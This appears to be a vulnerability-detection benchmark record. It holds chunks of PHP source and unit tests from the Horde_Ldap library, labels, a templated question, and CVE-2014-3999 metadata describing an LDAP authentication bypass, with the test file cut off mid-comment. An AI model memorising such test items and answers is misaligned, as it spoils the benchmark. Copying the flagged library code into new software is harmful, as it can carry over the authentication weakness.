to a new location.\n *\n * The entry will be immediately copied. Only attributes you have\n * selected will be copied.\n *\n * @param Horde_Ldap_Entry $entry An LDAP entry.\n * @param string $newdn New FQF-DN of the entry.\n *\n * @return Horde_Ldap_Entry The copied entry.\n * @throws Horde_Ldap_Exception\n */\n public function copy($entry, $newdn)\n {\n if (!$entry instanceof Horde_Ldap_Entry) {\n throw new Horde_Ldap_Exception('Parameter $entry is expected to be a Horde_Ldap_Entry object');\n }", " $newentry = Horde_Ldap_Entry::createFresh($newdn, $entry->getValues());\n $this->add($newentry);", " return $newentry;\n }", "\n /**\n * Returns the string for an LDAP errorcode.\n *\n * Made to be able to make better errorhandling. Function based\n * on DB::errorMessage().\n *\n * Hint: The best description of the errorcodes is found here:\n * http://www.directory-info.com/Ldap/LDAPErrorCodes.html\n *\n * @param integer $errorcode An error code.\n *\n * @return string The description for the error.\n */\n public static function errorName($errorcode)\n {\n $errorMessages = array(\n 0x00 => 'LDAP_SUCCESS',\n 0x01 => 'LDAP_OPERATIONS_ERROR',\n 0x02 => 'LDAP_PROTOCOL_ERROR',\n 0x03 => 'LDAP_TIMELIMIT_EXCEEDED',\n 0x04 => 'LDAP_SIZELIMIT_EXCEEDED',\n 0x05 => 'LDAP_COMPARE_FALSE',\n 0x06 => 'LDAP_COMPARE_TRUE',\n 0x07 => 'LDAP_AUTH_METHOD_NOT_SUPPORTED',\n 0x08 => 'LDAP_STRONG_AUTH_REQUIRED',\n 0x09 => 'LDAP_PARTIAL_RESULTS',\n 0x0a => 'LDAP_REFERRAL',\n 0x0b => 'LDAP_ADMINLIMIT_EXCEEDED',\n 0x0c => 'LDAP_UNAVAILABLE_CRITICAL_EXTENSION',\n 0x0d => 'LDAP_CONFIDENTIALITY_REQUIRED',\n 0x0e => 'LDAP_SASL_BIND_INPROGRESS',\n 0x10 => 'LDAP_NO_SUCH_ATTRIBUTE',\n 0x11 => 'LDAP_UNDEFINED_TYPE',\n 0x12 => 'LDAP_INAPPROPRIATE_MATCHING',\n 0x13 => 'LDAP_CONSTRAINT_VIOLATION',\n 0x14 => 'LDAP_TYPE_OR_VALUE_EXISTS',\n 0x15 => 'LDAP_INVALID_SYNTAX',\n 0x20 => 'LDAP_NO_SUCH_OBJECT',\n 0x21 => 'LDAP_ALIAS_PROBLEM',\n 0x22 => 'LDAP_INVALID_DN_SYNTAX',\n 0x23 => 'LDAP_IS_LEAF',\n 0x24 => 'LDAP_ALIAS_DEREF_PROBLEM',\n 0x30 => 'LDAP_INAPPROPRIATE_AUTH',\n 0x31 => 'LDAP_INVALID_CREDENTIALS',\n 0x32 => 'LDAP_INSUFFICIENT_ACCESS',\n 0x33 => 'LDAP_BUSY',\n 0x34 => 'LDAP_UNAVAILABLE',\n 0x35 => 'LDAP_UNWILLING_TO_PERFORM',\n 0x36 => 'LDAP_LOOP_DETECT',\n 0x3C => 'LDAP_SORT_CONTROL_MISSING',\n 0x3D => 'LDAP_INDEX_RANGE_ERROR',\n 0x40 => 'LDAP_NAMING_VIOLATION',\n 0x41 => 'LDAP_OBJECT_CLASS_VIOLATION',\n 0x42 => 'LDAP_NOT_ALLOWED_ON_NONLEAF',\n 0x43 => 'LDAP_NOT_ALLOWED_ON_RDN',\n 0x44 => 'LDAP_ALREADY_EXISTS',\n 0x45 => 'LDAP_NO_OBJECT_CLASS_MODS',\n 0x46 => 'LDAP_RESULTS_TOO_LARGE',\n 0x47 => 'LDAP_AFFECTS_MULTIPLE_DSAS',\n 0x50 => 'LDAP_OTHER',\n 0x51 => 'LDAP_SERVER_DOWN',\n 0x52 => 'LDAP_LOCAL_ERROR',\n 0x53 => 'LDAP_ENCODING_ERROR',\n 0x54 => 'LDAP_DECODING_ERROR',\n 0x55 => 'LDAP_TIMEOUT',\n 0x56 => 'LDAP_AUTH_UNKNOWN',\n 0x57 => 'LDAP_FILTER_ERROR',\n 0x58 => 'LDAP_USER_CANCELLED',\n 0x59 => 'LDAP_PARAM_ERROR',\n 0x5a => 'LDAP_NO_MEMORY',\n 0x5b => 'LDAP_CONNECT_ERROR',\n 0x5c => 'LDAP_NOT_SUPPORTED',\n 0x5d => 'LDAP_CONTROL_NOT_FOUND',\n 0x5e => 'LDAP_NO_RESULTS_RETURNED',\n 0x5f => 'LDAP_MORE_RESULTS_TO_RETURN',\n 0x60 => 'LDAP_CLIENT_LOOP',\n 0x61 => 'LDAP_REFERRAL_LIMIT_EXCEEDED',\n 1000 => 'Unknown Error');", " return isset($errorMessages[$errorcode]) ?\n $errorMessages[$errorcode] :\n 'Unknown Error (' . $errorcode . ')';\n }", " /**\n * Returns a rootDSE object\n *\n * This either fetches a fresh rootDSE object or returns it from\n * the internal cache for performance reasons, if possible.\n *\n * @param array $attrs Array of attributes to search for.\n *\n * @return Horde_Ldap_RootDse Horde_Ldap_RootDse object\n * @throws Horde_Ldap_Exception\n */\n public function rootDSE(array $attrs = array())\n {\n $attrs_signature = serialize($attrs);", " /* See if we need to fetch a fresh object, or if we already\n * requested this object with the same attributes. */\n if (!isset($this->_rootDSECache[$attrs_signature])) {\n $this->_rootDSECache[$attrs_signature] = new Horde_Ldap_RootDse($this, $attrs);\n }", " return $this->_rootDSECache[$attrs_signature];\n }", " /**\n * Returns a schema object\n *\n * @param string $dn Subschema entry dn.\n *\n * @return Horde_Ldap_Schema Horde_Ldap_Schema object\n * @throws Horde_Ldap_Exception\n */\n public function schema($dn = null)\n {\n /* If a schema caching object is registered, we use that to fetch a\n * schema object. */\n $key = 'Horde_Ldap_Schema_' . md5(serialize(array($this->_config['hostspec'], $this->_config['port'], $dn)));\n if (!$this->_schema && $this->_config['cache']) {\n $schema = $this->_config['cache']->get($key, $this->_config['cachettl']);\n if ($schema) {\n $this->_schema = @unserialize($schema);\n }\n }", " /* Fetch schema, if not tried before and no cached version available.\n * If we are already fetching the schema, we will skip fetching. */\n if (!$this->_schema) {\n /* Store a temporary error message so subsequent calls to schema()\n * can detect that we are fetching the schema already. Otherwise we\n * will get an infinite loop at Horde_Ldap_Schema. */\n $this->_schema = new Horde_Ldap_Exception('Schema not initialized');\n $this->_schema = new Horde_Ldap_Schema($this, $dn);", " /* If schema caching is active, advise the cache to store the\n * schema. */\n if ($this->_config['cache']) {\n $this->_config['cache']->set($key, serialize($this->_schema), $this->_config['cachettl']);\n }\n }", " if ($this->_schema instanceof Horde_Ldap_Exception) {\n throw $this->_schema;\n }", " return $this->_schema;\n }", " /**\n * Checks if PHP's LDAP extension is loaded.\n *\n * If it is not loaded, it tries to load it manually using PHP's dl().\n * It knows both windows-dll and *nix-so.\n *\n * @throws Horde_Ldap_Exception\n */\n public static function checkLDAPExtension()\n {\n if (!extension_loaded('ldap') && !@dl('ldap.' . PHP_SHLIB_SUFFIX)) {\n throw new Horde_Ldap_Exception('Unable to locate PHP LDAP extension. Please install it before using the Horde_Ldap package.');\n }\n }", " /**\n * @todo Remove this and expect all data to be UTF-8.\n *\n * Encodes given attributes to UTF8 if needed by schema.\n *\n * This function takes attributes in an array and then checks\n * against the schema if they need UTF8 encoding. If that is the\n * case, they will be encoded. An encoded array will be returned\n * and can be used for adding or modifying.\n *\n * $attributes is expected to be an array with keys describing\n * the attribute names and the values as the value of this attribute:\n * <code>$attributes = array('cn' => 'foo', 'attr2' => array('mv1', 'mv2'));</code>\n *\n * @param array $attributes An array of attributes.\n *\n * @return array|Horde_Ldap_Error An array of UTF8 encoded attributes or an error.\n */\n public function utf8Encode($attributes)\n {\n return $this->utf8($attributes, 'utf8_encode');\n }", " /**\n * @todo Remove this and expect all data to be UTF-8.\n *\n * Decodes the given attribute values if needed by schema\n *\n * $attributes is expected to be an array with keys describing\n * the attribute names and the values as the value of this attribute:\n * <code>$attributes = array('cn' => 'foo', 'attr2' => array('mv1', 'mv2'));</code>\n *\n * @param array $attributes Array of attributes\n *\n * @access public\n * @see utf8Encode()\n * @return array|Horde_Ldap_Error Array with decoded attribute values or Error\n */\n public function utf8Decode($attributes)\n {\n return $this->utf8($attributes, 'utf8_decode');\n }", " /**\n * @todo Remove this and expect all data to be UTF-8.\n *\n * Encodes or decodes attribute values if needed\n *\n * @param array $attributes Array of attributes\n * @param array $function Function to apply to attribute values\n *\n * @access protected\n * @return array Array of attributes with function applied to values.\n */\n protected function utf8($attributes, $function)\n {\n if (!is_array($attributes) || array_key_exists(0, $attributes)) {\n throw new Horde_Ldap_Exception('Parameter $attributes is expected to be an associative array');\n }", " if (!$this->_schema) {\n $this->_schema = $this->schema();\n }", " if (!$this->_link || !function_exists($function)) {\n return $attributes;\n }", " if (is_array($attributes) && count($attributes) > 0) {", " foreach ($attributes as $k => $v) {", " if (!isset($this->_schemaAttrs[$k])) {", " try {\n $attr = $this->_schema->get('attribute', $k);\n } catch (Exception $e) {\n continue;\n }", " if (false !== strpos($attr['syntax'], '1.3.6.1.4.1.1466.115.121.1.15')) {\n $encode = true;\n } else {\n $encode = false;\n }\n $this->_schemaAttrs[$k] = $encode;", " } else {\n $encode = $this->_schemaAttrs[$k];\n }", " if ($encode) {\n if (is_array($v)) {\n foreach ($v as $ak => $av) {\n $v[$ak] = call_user_func($function, $av);\n }\n } else {\n $v = call_user_func($function, $v);\n }\n }\n $attributes[$k] = $v;\n }\n }\n return $attributes;\n }", " /**\n * Returns the LDAP link resource.\n *\n * It will loop attempting to re-establish the connection if the\n * connection attempt fails and auto_reconnect has been turned on\n * (see the _config array documentation).\n *\n * @return resource LDAP link.\n */\n public function getLink()\n {\n if ($this->_config['auto_reconnect']) {\n while (true) {\n /* Return the link handle if we are already connected.\n * Otherwise try to reconnect. */\n if ($this->_link) {\n return $this->_link;\n }\n $this->_reconnect();\n }\n }\n return $this->_link;\n }", " /**\n * Builds an LDAP search filter fragment.\n *\n * @param string $lhs The attribute to test.\n * @param string $op The operator.\n * @param string $rhs The comparison value.\n * @param array $params Any additional parameters for the operator.\n *\n * @return string The LDAP search fragment.\n */\n public static function buildClause($lhs, $op, $rhs, $params = array())\n {\n switch ($op) {\n case 'LIKE':\n if (empty($rhs)) {\n return '(' . $lhs . '=*)';\n }\n if (!empty($params['begin'])) {\n return sprintf('(|(%s=%s*)(%s=* %s*))', $lhs, self::quote($rhs), $lhs, self::quote($rhs));\n }\n if (!empty($params['approximate'])) {\n return sprintf('(%s~=%s)', $lhs, self::quote($rhs));\n }\n return sprintf('(%s=*%s*)', $lhs, self::quote($rhs));", " default:\n return sprintf('(%s%s%s)', $lhs, $op, self::quote($rhs));\n }\n }", "\n /**\n * Escapes characters with special meaning in LDAP searches.\n *\n * @param string $clause The string to escape.\n *\n * @return string The escaped string.\n */\n public static function quote($clause)\n {\n return str_replace(array('\\\\', '(', ')', '*', \"\\0\"),\n array('\\\\5c', '\\(', '\\)', '\\*', \"\\\\00\"),\n $clause);\n }", " /**\n * Takes an array of DN elements and properly quotes it according to RFC\n * 1485.\n *\n * @param array $parts An array of tuples containing the attribute\n * name and that attribute's value which make\n * up the DN. Example:\n * <code>\n * $parts = array(0 => array('cn', 'John Smith'),\n * 1 => array('dc', 'example'),\n * 2 => array('dc', 'com'));\n * </code>\n *\n * @return string The properly quoted string DN.\n */\n public static function quoteDN($parts)\n {\n $dn = '';\n $count = count($parts);\n for ($i = 0; $i < $count; $i++) {\n if ($i > 0) {\n $dn .= ',';\n }\n $dn .= $parts[$i][0] . '=';", " // See if we need to quote the value.\n if (preg_match('/^\\s|\\s$|\\s\\s|[,+=\"\\r\\n<>#;]/', $parts[$i][1])) {\n $dn .= '\"' . str_replace('\"', '\\\\\"', $parts[$i][1]) . '\"';\n } else {\n $dn .= $parts[$i][1];\n }\n }", " return $dn;\n }\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [213, 83], "buggy_code_start_loc": [209, 83], "filenames": ["framework/Ldap/lib/Horde/Ldap.php", "framework/Ldap/test/Horde/Ldap/LdapTest.php"], "fixing_code_end_loc": [213, 97], "fixing_code_start_loc": [209, 84], "message": "The Horde_Ldap library before 2.0.6 for Horde allows remote attackers to bypass authentication by leveraging knowledge of the LDAP bind user DN.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:horde:horde_ldap:*:*:*:*:*:horde:*:*", "matchCriteriaId": "7620D38C-DA8C-4183-9139-5B019DA7112C", "versionEndExcluding": "2.0.6", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "The Horde_Ldap library before 2.0.6 for Horde allows remote attackers to bypass authentication by leveraging knowledge of the LDAP bind user DN."}, {"lang": "es", "value": "La biblioteca Horde_Ldap en versiones anteriores a la 2.0.6 para Horde permite que atacantes remotos omitan la autenticaci\u00f3n aprovechando el conocimiento del DN del usuario bind LDAP."}], "evaluatorComment": null, "id": "CVE-2014-3999", "lastModified": "2018-05-18T13:23:25.737", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": [{"cvssData": {"attackComplexity": "HIGH", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 2.2, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}], "cvssMetricV31": null}, "published": "2018-04-10T15:29:00.877", "references": [{"source": "cve@mitre.org", "tags": ["Mailing List"], "url": "http://www.openwall.com/lists/oss-security/2014/06/14/1"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory", "VDB Entry"], "url": "http://www.securityfocus.com/bid/68014"}, {"source": "cve@mitre.org", "tags": ["Issue Tracking"], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1109628"}, {"source": "cve@mitre.org", "tags": ["Patch"], "url": "https://github.com/horde/horde/commit/4c3e18f1724ab39bfef10c189a5b52036a744d55"}, {"source": "cve@mitre.org", "tags": ["Mailing List"], "url": "https://marc.info/?l=horde-announce&m=140178644816474&w=2"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-287"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/horde/horde/commit/4c3e18f1724ab39bfef10c189a5b52036a744d55"}, "type": "CWE-287"}
149
Determine whether the {function_name} code is vulnerable or not.
[ "<?php", "require_once __DIR__ . '/TestBase.php';", "/**\n * Copyright 2010-2014 Horde LLC (http://www.horde.org/)\n *\n * @package Ldap\n * @subpackage UnitTests\n * @author Jan Schneider <jan@horde.org>\n * @license http://www.gnu.org/licenses/lgpl-3.0.html LGPL-3.0\n */\nclass Horde_Ldap_LdapTest extends Horde_Ldap_TestBase\n{\n public static function tearDownAfterClass()\n {\n if (!self::$ldapcfg) {\n return;\n }", " $ldap = new Horde_Ldap(self::$ldapcfg['server']);\n $clean = array('cn=Horde_Ldap_TestEntry,',\n 'ou=Horde_Ldap_Test_subdelete,',\n 'ou=Horde_Ldap_Test_modify,',\n 'ou=Horde_Ldap_Test_search1,',\n 'ou=Horde_Ldap_Test_search2,',\n 'ou=Horde_Ldap_Test_exists,',\n 'ou=Horde_Ldap_Test_getEntry,',\n 'ou=Horde_Ldap_Test_move,',\n 'ou=Horde_Ldap_Test_pool,',\n 'ou=Horde_Ldap_Test_tgt,');\n foreach ($clean as $dn) {\n try {\n $ldap->delete($dn . self::$ldapcfg['server']['basedn'], true);\n } catch (Exception $e) {}\n }\n }", " /**\n * Tests if the server can connect and bind correctly.\n */\n public function testConnectAndPrivilegedBind()\n {\n // This connect is supposed to fail.\n $lcfg = array('hostspec' => 'nonexistant.ldap.horde.org');\n try {\n $ldap = new Horde_Ldap($lcfg);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Failing with multiple hosts.\n $lcfg = array('hostspec' => array('nonexistant1.ldap.horde.org',\n 'nonexistant2.ldap.horde.org'));\n try {\n $ldap = new Horde_Ldap($lcfg);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Simple working connect and privileged bind.\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // Working connect and privileged bind with first host down.\n $lcfg = array('hostspec' => array('nonexistant.ldap.horde.org',\n self::$ldapcfg['server']['hostspec']),\n 'port' => self::$ldapcfg['server']['port'],\n 'binddn' => self::$ldapcfg['server']['binddn'],\n 'bindpw' => self::$ldapcfg['server']['bindpw']);\n $ldap = new Horde_Ldap($lcfg);\n }", " /**\n * Tests if the server can connect and bind anonymously, if supported.\n */\n public function testConnectAndAnonymousBind()\n {\n if (!self::$ldapcfg['capability']['anonymous']) {\n $this->markTestSkipped('Server does not support anonymous bind');\n }", " // Simple working connect and anonymous bind.\n $lcfg = array('hostspec' => self::$ldapcfg['server']['hostspec'],\n 'port' => self::$ldapcfg['server']['port']);\n $ldap = new Horde_Ldap($lcfg);", "", " }", " /**\n * Tests startTLS() if server supports it.\n */\n public function testStartTLS()\n {\n if (!self::$ldapcfg['capability']['tls']) {\n $this->markTestSkipped('Server does not support TLS');\n }", " // Simple working connect and privileged bind.\n $lcfg = array('starttls' => true) + self::$ldapcfg['server'];\n $ldap = new Horde_Ldap($lcfg);\n }", " /**\n * Test if adding and deleting a fresh entry works.\n */\n public function testAdd()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // Adding a fresh entry.\n $cn = 'Horde_Ldap_TestEntry';\n $dn = 'cn=' . $cn . ',' . self::$ldapcfg['server']['basedn'];\n $fresh_entry = Horde_Ldap_Entry::createFresh(\n $dn,\n array('objectClass' => array('top', 'person'),\n 'cn' => $cn,\n 'sn' => 'TestEntry'));\n $this->assertInstanceOf('Horde_Ldap_Entry', $fresh_entry);\n $ldap->add($fresh_entry);", " // Deleting this entry.\n $ldap->delete($fresh_entry);\n }", " /**\n * Basic deletion is tested in testAdd(), so here we just test if\n * advanced deletion tasks work properly.\n */\n public function testDelete()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // Some parameter checks.\n try {\n $ldap->delete(1234);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}\n try {\n $ldap->delete($ldap);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // In order to test subtree deletion, we need some little tree\n // which we need to establish first.\n $base = self::$ldapcfg['server']['basedn'];\n $testdn = 'ou=Horde_Ldap_Test_subdelete,' . $base;", " $ou = Horde_Ldap_Entry::createFresh(\n $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_subdelete'));\n $ou_1 = Horde_Ldap_Entry::createFresh(\n 'ou=test1,' . $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'test1'));\n $ou_1_l1 = Horde_Ldap_Entry::createFresh(\n 'l=subtest,ou=test1,' . $testdn,\n array('objectClass' => array('top', 'locality'),\n 'l' => 'test1'));\n $ou_2 = Horde_Ldap_Entry::createFresh(\n 'ou=test2,' . $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'test2'));\n $ou_3 = Horde_Ldap_Entry::createFresh(\n 'ou=test3,' . $testdn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'test3'));\n $ldap->add($ou);\n $ldap->add($ou_1);\n $ldap->add($ou_1_l1);\n $ldap->add($ou_2);\n $ldap->add($ou_3);\n $this->assertTrue($ldap->exists($ou->dn()));\n $this->assertTrue($ldap->exists($ou_1->dn()));\n $this->assertTrue($ldap->exists($ou_1_l1->dn()));\n $this->assertTrue($ldap->exists($ou_2->dn()));\n $this->assertTrue($ldap->exists($ou_3->dn()));\n // Tree established now. We can run some tests now :D", " // Try to delete some non existent entry inside that subtree (fails).\n try {\n $ldap->delete('cn=not_existent,ou=test1,' . $testdn);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {\n $this->assertEquals('LDAP_NO_SUCH_OBJECT', Horde_Ldap::errorName($e->getCode()));\n }", " // Try to delete main test ou without recursive set (fails too).\n try {\n $ldap->delete($testdn);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {\n $this->assertEquals('LDAP_NOT_ALLOWED_ON_NONLEAF', Horde_Ldap::errorName($e->getCode()));\n }", " // Retry with subtree delete, this should work.\n $ldap->delete($testdn, true);", " // The DN is not allowed to exist anymore.\n $this->assertFalse($ldap->exists($testdn));\n }", " /**\n * Test modify().\n */\n public function testModify()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // We need a test entry.\n $local_entry = Horde_Ldap_Entry::createFresh(\n 'ou=Horde_Ldap_Test_modify,' . self::$ldapcfg['server']['basedn'],\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_modify',\n 'street' => 'Beniroad',\n 'telephoneNumber' => array('1234', '5678'),\n 'postalcode' => '12345',\n 'postalAddress' => 'someAddress',\n 'st' => array('State 1', 'State 2')));\n $ldap->add($local_entry);\n $this->assertTrue($ldap->exists($local_entry->dn()));", " // Test invalid actions.\n try {\n $ldap->modify($local_entry, array('foo' => 'bar'));\n $this->fail('Expected exception when passing invalid actions to modify().');\n } catch (Horde_Ldap_Exception $e) {\n }", " // Prepare some changes.\n $changes = array(\n 'add' => array(\n 'businessCategory' => array('foocat', 'barcat'),\n 'description' => 'testval'\n ),\n 'delete' => array('postalAddress'),\n 'replace' => array('telephoneNumber' => array('345', '567')),\n 'changes' => array(\n 'replace' => array('street' => 'Highway to Hell'),\n 'add' => array('l' => 'someLocality'),\n 'delete' => array(\n 'postalcode',\n 'st' => array('State 1'))));", " // Perform those changes.\n $ldap->modify($local_entry, $changes);", " // Verify correct attribute changes.\n $actual_entry = $ldap->getEntry($local_entry->dn(),\n array('objectClass', 'ou',\n 'postalAddress', 'street',\n 'telephoneNumber', 'postalcode',\n 'st', 'l', 'businessCategory',\n 'description'));\n $this->assertInstanceOf('Horde_Ldap_Entry', $actual_entry);\n $expected_attributes = array(\n 'objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_modify',\n 'street' => 'Highway to Hell',\n 'l' => 'someLocality',\n 'telephoneNumber' => array('345', '567'),\n 'businessCategory' => array('foocat', 'barcat'),\n 'description' => 'testval',\n 'st' => 'State 2'\n );", " $local_attributes = $local_entry->getValues();\n $actual_attributes = $actual_entry->getValues();", " // To enable easy check, we need to sort the values of the remaining\n // multival attributes as well as the attribute names.\n ksort($expected_attributes);\n ksort($local_attributes);\n ksort($actual_attributes);\n sort($expected_attributes['businessCategory']);\n sort($local_attributes['businessCategory']);\n sort($actual_attributes['businessCategory']);", " // The attributes must match the expected values. Both, the entry\n // inside the directory and our local copy must reflect the same\n // values.\n $this->assertEquals($expected_attributes, $actual_attributes, 'The directory entries attributes are not OK!');\n $this->assertEquals($expected_attributes, $local_attributes, 'The local entries attributes are not OK!');\n }", " /**\n * Test search().\n */\n public function testSearch()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // Some testdata, so we can test sizelimit.\n $base = self::$ldapcfg['server']['basedn'];\n $ou1 = Horde_Ldap_Entry::createFresh(\n 'ou=Horde_Ldap_Test_search1,' . $base,\n array('objectClass' => array('top','organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_search1'));\n $ou1_1 = Horde_Ldap_Entry::createFresh(\n 'ou=Horde_Ldap_Test_search1_1,' . $ou1->dn(),\n array('objectClass' => array('top','organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_search2'));\n $ou2 = Horde_Ldap_Entry::createFresh(\n 'ou=Horde_Ldap_Test_search2,' . $base,\n array('objectClass' => array('top','organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_search2'));\n $ldap->add($ou1);\n $this->assertTrue($ldap->exists($ou1->dn()));\n $ldap->add($ou1_1);\n $this->assertTrue($ldap->exists($ou1_1->dn()));\n $ldap->add($ou2);\n $this->assertTrue($ldap->exists($ou2->dn()));", "\n // Search for test filter, should at least return our two test entries.\n $res = $ldap->search(null, '(ou=Horde_Ldap*)',\n array('attributes' => '1.1'));\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertThat($res->count(), $this->greaterThanOrEqual(2));", " // Same, but with Horde_Ldap_Filter object.\n $filtero = Horde_Ldap_Filter::create('ou', 'begins', 'Horde_Ldap');\n $this->assertInstanceOf('Horde_Ldap_Filter', $filtero);\n $res = $ldap->search(null, $filtero,\n array('attributes' => '1.1'));\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertThat($res->count(), $this->greaterThanOrEqual(2));", " // Search using default filter for base-onelevel scope, should at least\n // return our two test entries.\n $res = $ldap->search(null, null,\n array('scope' => 'one', 'attributes' => '1.1'));\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertThat($res->count(), $this->greaterThanOrEqual(2));", " // Base-search using custom base (string), should only return the test\n // entry $ou1 and not the entry below it.\n $res = $ldap->search($ou1->dn(), null,\n array('scope' => 'base', 'attributes' => '1.1'));\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertEquals(1, $res->count());", " // Search using custom base, this time using an entry object. This\n // tests if passing an entry object as base works, should only return\n // the test entry $ou1.\n $res = $ldap->search($ou1, '(ou=*)',\n array('scope' => 'base', 'attributes' => '1.1'));\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertEquals(1, $res->count());", " // Search using default filter for base-onelevel scope with sizelimit,\n // should of course return more than one entry, but not more than\n // sizelimit\n $res = $ldap->search(\n null, null,\n array('scope' => 'one', 'sizelimit' => 1, 'attributes' => '1.1')\n );\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertEquals(1, $res->count());\n // Sizelimit should be exceeded now.\n $this->assertTrue($res->sizeLimitExceeded());", " // Bad filter.\n try {\n $res = $ldap->search(null, 'somebadfilter',\n array('attributes' => '1.1'));\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Bad base.\n try {\n $res = $ldap->search('badbase', null,\n array('attributes' => '1.1'));\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}", " // Nullresult.\n $res = $ldap->search(null, '(cn=nevermatching_filter)',\n array('scope' => 'base', 'attributes' => '1.1'));\n $this->assertInstanceOf('Horde_Ldap_Search', $res);\n $this->assertEquals(0, $res->count());\n }", " /**\n * Test exists().\n */\n public function testExists()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " $dn = 'ou=Horde_Ldap_Test_exists,' . self::$ldapcfg['server']['basedn'];", " // Testing not existing DN.\n $this->assertFalse($ldap->exists($dn));", " // Passing an entry object (should work). It should return false,\n // because we didn't add the test entry yet.\n $ou1 = Horde_Ldap_Entry::createFresh(\n $dn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_search1'));\n $this->assertFalse($ldap->exists($ou1));", " // Testing not existing DN.\n $ldap->add($ou1);\n $this->assertTrue($ldap->exists($dn));", " // Passing an float instead of a string.\n try {\n $ldap->exists(1.234);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Ldap_Exception $e) {}\n }", " /**\n * Test getEntry().\n */\n public function testGetEntry()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);\n $dn = 'ou=Horde_Ldap_Test_getEntry,' . self::$ldapcfg['server']['basedn'];\n $entry = Horde_Ldap_Entry::createFresh(\n $dn,\n array('objectClass' => array('top', 'organizationalUnit'),\n 'ou' => 'Horde_Ldap_Test_getEntry'));\n $ldap->add($entry);", " // Existing DN.\n $this->assertInstanceOf('Horde_Ldap_Entry', $ldap->getEntry($dn));", " // Not existing DN.\n try {\n $ldap->getEntry('cn=notexistent,' . self::$ldapcfg['server']['basedn']);\n $this->fail('Horde_Ldap_Exception expected.');\n } catch (Horde_Exception_NotFound $e) {}\n }", " /**\n * Test move().\n */\n public function testMove()\n {\n $ldap = new Horde_Ldap(self::$ldapcfg['server']);", " // For Moving tests, we need some little tree 